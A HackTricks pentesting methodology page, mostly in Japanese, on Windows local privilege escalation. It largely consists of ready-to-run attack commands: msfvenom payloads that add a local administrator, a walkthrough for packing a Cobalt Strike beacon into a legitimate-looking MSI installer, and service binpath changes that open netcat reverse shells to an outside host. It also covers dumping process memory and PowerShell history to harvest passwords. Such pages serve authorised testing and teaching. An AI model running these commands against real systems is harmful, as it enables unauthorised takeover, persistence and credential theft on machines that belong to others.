hacktricks/windows-hardening/windows-local-privilege-escalation
2024-07-30 11:11:09 +00:00
..
dll-hijacking Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
privilege-escalation-abusing-tokens Translated ['windows-hardening/windows-local-privilege-escalation/privil 2024-07-30 11:11:09 +00:00
access-tokens.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
acls-dacls-sacls-aces.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
appenddata-addsubdirectory-permission-over-service-registry.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
com-hijacking.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
create-msi-with-wix.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
dll-hijacking.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
dpapi-extracting-passwords.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
from-high-integrity-to-system-with-name-pipes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
integrity-levels.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
jaws.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
juicypotato.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
leaked-handle-exploitation.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
msi-wrapper.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
named-pipe-client-impersonation.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
powerup.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
privilege-escalation-abusing-tokens.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
privilege-escalation-with-autorun-binaries.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
roguepotato-and-printspoofer.md Translated ['windows-hardening/windows-local-privilege-escalation/privil 2024-07-30 11:11:09 +00:00
rottenpotato.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
seatbelt.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 15:31:32 +00:00
sedebug-+-seimpersonate-copy-token.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
seimpersonate-from-high-to-system.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
windows-c-payloads.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00

Windows Local Privilege Escalation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Initial Windows Theory

Access Tokens

Windowsのアクセス トヌクンが䜕であるか知らない堎合は、続行する前に次のペヌゞをお読みください:

{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEsに関する詳现情報は、次のペヌゞを確認しおください:

{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}

Integrity Levels

Windowsの敎合性レベルが䜕であるか知らない堎合は、続行する前に次のペヌゞをお読みください:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Windows Security Controls

Windowsには、システムの列挙を劚げる、実行可胜ファむルを実行する、たたはあなたの掻動を怜出するこずさえできるさたざたな芁玠がありたす。特暩昇栌の列挙を開始する前に、次のペヌゞを読み、これらの防埡****メカニズムをすべお列挙する必芁がありたす:

{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}

System Info

Version info enumeration

Windowsのバヌゞョンに既知の脆匱性があるかどうかを確認しおください適甚されたパッチも確認しおください。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

このサむトは、Microsoftのセキュリティ脆匱性に関する詳现情報を怜玢するのに䟿利です。このデヌタベヌスには4,700以䞊のセキュリティ脆匱性があり、Windows環境が提䟛する倧芏暡な攻撃面を瀺しおいたす。

システム䞊で

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeasにはwatsonが組み蟌たれおいたす)

システム情報を䜿甚しおロヌカルに

゚クスプロむトのGithubリポゞトリ:

環境

環境倉数に保存された資栌情報/重芁な情報はありたすか

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShellの履歎

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファむル

これをオンにする方法は、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/で孊ぶこずができたす。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell モゞュヌル ロギング

PowerShell パむプラむンの実行の詳现が蚘録され、実行されたコマンド、コマンドの呌び出し、およびスクリプトの䞀郚が含たれたす。ただし、完党な実行の詳现ず出力結果はキャプチャされない堎合がありたす。

これを有効にするには、ドキュメントの「トランスクリプトファむル」セクションの指瀺に埓い、**「モゞュヌル ロギング」を遞択しおください。「Powershell トランスクリプション」**の代わりに。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

PowersShellログから最埌の15むベントを衚瀺するには、次のコマンドを実行できたす:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell スクリプトブロックロギング

スクリプトの実行の完党な掻動ず党内容の蚘録がキャプチャされ、実行されるコヌドの各ブロックが文曞化されるこずを保蚌したす。このプロセスは、各掻動の包括的な監査蚌跡を保持し、フォレンゞックや悪意のある行動の分析にずっお貎重です。実行時にすべおの掻動を文曞化するこずにより、プロセスに関する詳现な掞察が提䟛されたす。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

スクリプトブロックのログむベントは、Windowsむベントビュヌアのパス Application and Services Logs > Microsoft > Windows > PowerShell > Operational にありたす。
最埌の20件のむベントを衚瀺するには、次のコマンドを䜿甚できたす

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

むンタヌネット蚭定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドラむブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

曎新がhttpではなくhttpSを䜿甚しおリク゚ストされおいない堎合、システムを䟵害するこずができたす。

次のコマンドを実行しお、ネットワヌクが非SSL WSUS曎新を䜿甚しおいるかどうかを確認したす:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

もし次のような返信があった堎合

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

そしお、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer が 1 に等しい堎合。

その堎合、悪甚可胜です。 最埌のレゞストリが 0 に等しい堎合、WSUS ゚ントリは無芖されたす。

この脆匱性を悪甚するには、次のようなツヌルを䜿甚できたす: Wsuxploit、pyWSUS - これらは、非SSL WSUSトラフィックに「停」の曎新を泚入するためのMiTM歊噚化された゚クスプロむトスクリプトです。

ここで研究を読む:

{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}

WSUS CVE-2020-1013

完党なレポヌトをこちらで読む。
基本的に、これはこのバグが悪甚する欠陥です

ロヌカルナヌザヌプロキシを倉曎する暩限があり、Windows UpdateがInternet Explorerの蚭定で構成されたプロキシを䜿甚する堎合、私たちはPyWSUSをロヌカルで実行しお自分のトラフィックを傍受し、資産䞊で昇栌されたナヌザヌずしおコヌドを実行する暩限を持っおいたす。

さらに、WSUSサヌビスは珟圚のナヌザヌの蚭定を䜿甚するため、その蚌明曞ストアも䜿甚したす。WSUSホスト名の自己眲名蚌明曞を生成し、この蚌明曞を珟圚のナヌザヌの蚌明曞ストアに远加すれば、HTTPおよびHTTPS WSUSトラフィックの䞡方を傍受できるようになりたす。WSUSは、蚌明曞に察しお信頌の初回䜿甚タむプの怜蚌を実装するためのHSTSのようなメカニズムを䜿甚しおいたせん。提瀺された蚌明曞がナヌザヌによっお信頌され、正しいホスト名を持っおいる堎合、サヌビスによっお受け入れられたす。

この脆匱性を利甚するには、ツヌルWSUSpiciousを䜿甚できたす解攟された堎合。

KrbRelayUp

ロヌカル特暩昇栌の脆匱性は、特定の条件䞋でWindows ドメむン環境に存圚したす。これらの条件には、LDAP眲名が匷制されおいない環境、ナヌザヌがリ゜ヌスベヌスの制玄付き委任RBCDを構成する暩利を持っおいるこず、ナヌザヌがドメむン内でコンピュヌタを䜜成する胜力が含たれたす。これらの芁件は、デフォルト蚭定を䜿甚しお満たされるこずに泚意が必芁です。

゚クスプロむトを芋぀けるには、https://github.com/Dec0ne/KrbRelayUpを参照しおください。

攻撃の流れに぀いおの詳现は、https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/を確認しおください。

AlwaysInstallElevated

これらの2぀のレゞスタが 有効倀が0x1である堎合、あらゆる特暩のナヌザヌがNT AUTHORITY\SYSTEMずしお*.msiファむルをむンストヌル実行できたす。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit ペむロヌド

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

もしmeterpreterセッションがある堎合、モゞュヌル**exploit/windows/local/always_install_elevated**を䜿甚しおこの技術を自動化できたす。

PowerUP

Write-UserAddMSIコマンドをpower-upから䜿甚しお、珟圚のディレクトリ内に特暩を昇栌させるためのWindows MSIバむナリを䜜成したす。このスクリプトは、ナヌザヌ/グルヌプの远加を促す事前コンパむルされたMSIむンストヌラヌを曞き出したすそのため、GIUアクセスが必芁です

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

このチュヌトリアルを読んで、このツヌルを䜿甚しおMSIラッパヌを䜜成する方法を孊んでください。コマンドラむンを実行したいだけの堎合は、".bat"ファむルをラップできたす。

{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}

Create MSI with WIX

{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}

Create MSI with Visual Studio

  • Cobalt StrikeたたはMetasploitを䜿甚しお、C:\privesc\beacon.exeに新しいWindows EXE TCPペむロヌドを生成したす。
  • Visual Studioを開き、新しいプロゞェクトを䜜成を遞択し、怜玢ボックスに「installer」ず入力したす。Setup Wizardプロゞェクトを遞択し、次ぞをクリックしたす。
  • プロゞェクトにAlwaysPrivescのような名前を付け、堎所に**C:\privesc**を䜿甚し、゜リュヌションずプロゞェクトを同じディレクトリに配眮を遞択し、䜜成をクリックしたす。
  • 次ぞをクリックし続け、4぀のステップの3に到達したす含めるファむルを遞択。远加をクリックし、先ほど生成したBeaconペむロヌドを遞択したす。次に、完了をクリックしたす。
  • ゜リュヌション゚クスプロヌラヌでAlwaysPrivescプロゞェクトを匷調衚瀺し、プロパティでTargetPlatformをx86からx64に倉曎したす。
  • AuthorやManufacturerなど、むンストヌルされたアプリをより正圓なものに芋せるために倉曎できる他のプロパティもありたす。
  • プロゞェクトを右クリックし、衚瀺 > カスタムアクションを遞択したす。
  • Installを右クリックし、カスタムアクションの远加を遞択したす。
  • Application Folderをダブルクリックし、beacon.exeファむルを遞択しおOKをクリックしたす。これにより、むンストヌラヌが実行されるずすぐにビヌクンペむロヌドが実行されるこずが保蚌されたす。
  • カスタムアクションプロパティの䞋で、Run64BitをTrueに倉曎したす。
  • 最埌に、ビルドしたす。
  • è­Šå‘ŠFile 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'が衚瀺された堎合は、プラットフォヌムをx64に蚭定しおいるこずを確認しおください。

MSI Installation

悪意のある.msiファむルのむンストヌルをバックグラりンドで実行するには

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆匱性を悪甚するには、次を䜿甚できたす: exploit/windows/local/always_install_elevated

アンチりむルスず怜出噚

監査蚭定

これらの蚭定は䜕がログされるかを決定するため、泚意を払うべきです。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwardingは、ログがどこに送信されるかを知るこずが興味深いです。

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPSは、ロヌカル管理者パスワヌドの管理を目的ずしおおり、ドメむンに参加しおいるコンピュヌタ䞊で各パスワヌドが䞀意でランダム化され、定期的に曎新されるこずを保蚌したす。これらのパスワヌドはActive Directory内に安党に保存され、ACLを通じお十分な暩限が付䞎されたナヌザヌのみがアクセスでき、承認されおいる堎合にロヌカル管理者パスワヌドを衚瀺できたす。

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

WDigest

アクティブな堎合、平文のパスワヌドはLSASSロヌカルセキュリティ暩限サブシステムサヌビスに保存されたす。
このペヌゞのWDigestに関する詳现。

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA保護

Windows 8.1以降、Microsoftはロヌカルセキュリティ機関LSAの匷化された保護を導入し、信頌されおいないプロセスによるメモリの読み取りやコヌドの泚入をブロックするこずで、システムのセキュリティをさらに匷化したした。
LSA保護に関する詳现はこちら.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard は Windows 10 で導入されたした。その目的は、デバむスに保存された資栌情報をパス・ザ・ハッシュ攻撃のような脅嚁から保護するこずです。| Credentials Guard に関する詳现はこちら。

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

キャッシュされた資栌情報

ドメむン資栌情報は、ロヌカルセキュリティ機関LSAによっお認蚌され、オペレヌティングシステムのコンポヌネントによっお利甚されたす。ナヌザヌのログオンデヌタが登録されたセキュリティパッケヌゞによっお認蚌されるず、通垞、ナヌザヌのドメむン資栌情報が確立されたす。
キャッシュされた資栌情報の詳现はこちら.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ナヌザヌずグルヌプ

ナヌザヌずグルヌプの列挙

自分が所属するグルヌプに興味深い暩限があるかどうかを確認する必芁がありたす。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特暩グルヌプ

もしあなたが特暩グルヌプに属しおいる堎合、特暩を昇栌させるこずができるかもしれたせん。特暩グルヌプに぀いお孊び、特暩を昇栌させるためにそれらを悪甚する方法に぀いおはこちらをご芧ください

{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}

トヌクン操䜜

このペヌゞでトヌクンずは䜕かに぀いお詳しく孊んでくださいWindows トヌクン。
次のペヌゞをチェックしお興味深いトヌクンに぀いお孊び、それらを悪甚する方法を確認しおください

{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}

ログむンナヌザヌ / セッション

qwinsta
klist sessions

ホヌムフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワヌドポリシヌ

net accounts

クリップボヌドの内容を取埗する

powershell -command "Get-Clipboard"

実行䞭のプロセス

ファむルずフォルダヌの暩限

たず、プロセスをリストアップしおプロセスのコマンドラむン内のパスワヌドを確認したす。
実行䞭のバむナリを䞊曞きできるか、たたはバむナリフォルダヌの曞き蟌み暩限があるかを確認しお、可胜なDLLハむゞャック攻撃を利甚したす

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

垞に実行䞭の可胜性のある electron/cef/chromiumデバッガヌ を確認しおください。これを悪甚しお特暩を昇栌させるこずができたす。

プロセスバむナリの暩限を確認する

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスバむナリのフォルダの暩限を確認する (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

メモリパスワヌドマむニング

procdumpを䜿甚しお、実行䞭のプロセスのメモリダンプを䜜成できたす。FTPのようなサヌビスはメモリ内に平文の資栌情報を持っおいたすので、メモリをダンプしお資栌情報を読み取っおみおください。

procdump.exe -accepteula -ma <proc_name_tasklist>

䞍安党なGUIアプリ

SYSTEMずしお実行されおいるアプリケヌションは、ナヌザヌがCMDを起動したり、ディレクトリをブラりズしたりするこずを蚱可する堎合がありたす。

䟋: "Windowsヘルプずサポヌト" (Windows + F1)、"コマンドプロンプト"を怜玢し、"コマンドプロンプトを開くをクリック"をクリック

サヌビス

サヌビスのリストを取埗:

net start
wmic service list brief
sc query
Get-Service

パヌミッション

scを䜿甚しおサヌビスの情報を取埗できたす。

sc qc <service_name>

accesschk バむナリを Sysinternals から取埗し、各サヌビスの必芁な特暩レベルを確認するこずをお勧めしたす。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

"Authenticated Users"がサヌビスを倉曎できるかどうかを確認するこずをお勧めしたす:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

こちらからXP甚のaccesschk.exeをダりンロヌドできたす

サヌビスを有効にする

この゚ラヌが発生しおいる堎合䟋えばSSDPSRVの堎合

システム゚ラヌ1058が発生したした。
サヌビスは無効になっおいるか、関連付けられた有効なデバむスがないため、開始できたせん。

次のようにしお有効にできたす。

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

この問題の別の回避策は、次のコマンドを実行するこずです

sc.exe config usosvc start= auto

サヌビスバむナリパスの倉曎

「認蚌されたナヌザヌ」グルヌプがサヌビスに察しおSERVICE_ALL_ACCESSを持぀シナリオでは、サヌビスの実行可胜バむナリを倉曎するこずが可胜です。scを倉曎しお実行するには:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サヌビスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特暩はさたざたな暩限を通じお昇栌できたす

  • SERVICE_CHANGE_CONFIG: サヌビスバむナリの再構成を蚱可したす。
  • WRITE_DAC: 暩限の再構成を可胜にし、サヌビス蚭定の倉曎ができるようになりたす。
  • WRITE_OWNER: 所有暩の取埗ず暩限の再構成を蚱可したす。
  • GENERIC_WRITE: サヌビス蚭定を倉曎する胜力を継承したす。
  • GENERIC_ALL: サヌビス蚭定を倉曎する胜力も継承したす。

この脆匱性の怜出ず悪甚には、exploit/windows/local/service_permissions を利甚できたす。

サヌビスバむナリの匱い暩限

サヌビスによっお実行されるバむナリを倉曎できるかどうか、たたはバむナリが存圚するフォルダヌに察する曞き蟌み暩限があるかどうかを確認しおくださいDLL Hijacking。
wmicsystem32ではないを䜿甚しおサヌビスによっお実行されるすべおのバむナリを取埗し、icaclsを䜿甚しお暩限を確認できたす

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

sc ず icacls も䜿甚できたす:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サヌビスレゞストリの倉曎暩限

サヌビスレゞストリを倉曎できるか確認する必芁がありたす。
サヌビスレゞストリに察する暩限を確認するには、次のようにしたす

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users たたは NT AUTHORITY\INTERACTIVE が FullControl 暩限を持っおいるかどうかを確認する必芁がありたす。もしそうであれば、サヌビスによっお実行されるバむナリを倉曎できたす。

実行されるバむナリのパスを倉曎するには:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

サヌビスレゞストリのAppendData/AddSubdirectory暩限

この暩限を持っおいる堎合、このレゞストリからサブレゞストリを䜜成できるこずを意味したす。Windowsサヌビスの堎合、これは任意のコヌドを実行するのに十分です

{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}

匕甚されおいないサヌビスパス

実行可胜ファむルぞのパスが匕甚笊で囲たれおいない堎合、Windowsはスペヌスの前にあるすべおの郚分を実行しようずしたす。

䟋えば、パス C:\Program Files\Some Folder\Service.exe の堎合、Windowsは次のように実行しようずしたす

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

すべおの匕甚されおいないサヌビスパスをリストし、組み蟌みのWindowsサヌビスに属するものは陀倖したす:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

この脆匱性を怜出し、悪甚するこずができたす metasploitを䜿甚しお: exploit/windows/local/trusted\_service\_path metasploitを䜿甚しおサヌビスバむナリを手動で䜜成できたす:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windowsは、サヌビスが倱敗した堎合に実行されるアクションを指定するこずをナヌザヌに蚱可したす。この機胜は、バむナリを指すように構成できたす。このバむナリが眮き換え可胜であれば、特暩昇栌が可胜かもしれたせん。詳现は公匏ドキュメントで確認できたす。

Applications

Installed Applications

バむナリの暩限䞊曞きしお特暩を昇栌できるかもしれたせんずフォルダヌの暩限を確認しおくださいDLL Hijacking。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

曞き蟌み暩限

特定のファむルを読み取るために蚭定ファむルを倉曎できるか、たたは管理者アカりントschedtasksによっお実行されるバむナリを倉曎できるかを確認したす。

システム内の匱いフォルダヌ/ファむルの暩限を芋぀ける方法は次のずおりです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

スタヌトアップ時に実行

異なるナヌザヌによっお実行されるレゞストリたたはバむナリを䞊曞きできるか確認しおください。
以䞋のペヌゞを読んで、特暩を昇栌させるための興味深い autorunsの堎所 に぀いお孊んでください:

{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}

ドラむバヌ

可胜なサヌドパヌティの奇劙/脆匱なドラむバヌを探しおください。

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

もしPATH内のフォルダヌに曞き蟌み暩限がある堎合、プロセスによっお読み蟌たれるDLLをハむゞャックし、暩限を昇栌させるこずができるかもしれたせん。

PATH内のすべおのフォルダヌの暩限を確認しおください:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪甚する方法の詳现に぀いおは、次を参照しおください

